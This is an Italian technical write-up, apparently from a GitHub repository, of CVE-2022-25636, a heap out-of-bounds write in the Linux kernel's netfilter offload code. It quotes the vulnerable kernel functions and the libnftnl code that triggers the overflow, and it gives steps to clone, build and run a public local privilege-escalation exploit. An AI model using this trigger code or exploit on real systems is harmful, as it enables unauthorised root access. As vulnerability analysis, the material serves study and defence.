chenaotian/cve-2022-25636Analisi tecnica dettagliata e write-up dell'exploit per CVE-2022-25636, una vulnerabilità di heap overflow nel kernel Linux relativa a netfilter che consente l'escalation locale dei privilegi tramite heap spraying e UAF.
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ID vulnerabilità: CVE-2022-25636
Prodotto vulnerabile: linux kernel - netfilter
Versioni interessate: linux kernel 5.4 ~
Impatto: scrittura heap out-of-bounds nel modulo kernel netfilter, può portare a escalation dei privilegi se si dispone di CAP_SYS_ADMIN.
La vulnerabilità si trova nel modulo kernel netfilter, il codice vulnerabile è presente in 3 file .ko.
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
Avviare direttamente con qemu ha problemi, i .ko non vengono caricati. Si utilizza debug a due macchine con vmware.
ubuntu 21.10 può sostituire manualmente il kernel:
apt-get install linux-image-5.13.0-30-generic
Quindi eliminare il kernel originale e compilare l'exploit:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
Risultato dell'escalation (successo inferiore al 50%):
La funzione interessata è nft_fwd_dup_netdev_offload:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
Durante l'impostazione di flow->rule->action.entries (una struttura a lunghezza variabile) non viene eseguito il controllo dei limiti dell'heap, portando a scrivere out-of-bounds un intero (4 o 5) e un puntatore.
La funzione viene utilizzata in nft_flow_rule_create:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions 初始化为0 ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {//根据rule数量调用offload
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
Si può vedere che la funzione nft_flow_rule_create alloca la struttura flow in base al numero di strutture rule passate dallo spazio utente e la elabora. Usa la variabile num_actions per contare, ma durante il conteggio considera solo le regole con il flag NFT_OFFLOAD_F_ACTION e alloca una struttura di dimensioni corrispondenti. Tuttavia, quando successivamente chiama offload, non usa num_actions per iterare, ma esegue lo stesso numero di iterazioni delle regole, senza più controllare il flag NFT_OFFLOAD_F_ACTION. In altre parole, quando ci sono regole senza il flag NFT_OFFLOAD_F_ACTION, il numero di chiamate a offload è maggiore del numero di elementi allocati in flow->rule->action.entries. Durante offload viene chiamata la funzione vulnerabile nft_fwd_dup_netdev_offload. Ogni chiamata incrementa ctx->num_actions, che è inizializzato a 0, e alla fine ctx->num_actions supera la dimensione dell'array flow->rule->action.entries, causando scrittura out-of-bounds.
Alcune strutture:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
Stack di chiamate:
Riferimento: https://www.openwall.com/lists/oss-security/2022/02/21/2
Questa email spiega come usare netfilter con le librerie C libmnl e libnftnl. Il punto principale per attivare la vulnerabilità è se la regola aggiunta ha il flag NFT_OFFLOAD_F_ACTION. Solo le regole aggiunte con nftnl_expr_alloc("immediate"); hanno il flag NFT_OFFLOAD_F_ACTION:
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
L'exploit non è molto stabile, ma la tecnica di sfruttamento è ingegnosa. La vulnerabilità scrive un puntatore non controllabile a un offset fisso out-of-bounds. Personalmente ritengo che la difficoltà di sfruttamento sia molto alta. Analizziamo brevemente la tecnica. Dal codice della vulnerabilità, ogni scrittura out-of-bounds può scrivere un intero (id, fisso a 4 o 5) e un puntatore (*dev), dove il puntatore punta a una struttura struct net_device. Qui ci concentriamo solo sulla scrittura del puntatore dev:
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev; //固定偏移写一个堆地址，dev 为struct net_device 结构体
··· ···
}
Riguardo alla struttura struct flow_rule, essendo una struttura a lunghezza variabile, l'intervallo di dimensioni che può allocare è cruciale per il successo dell'exploit.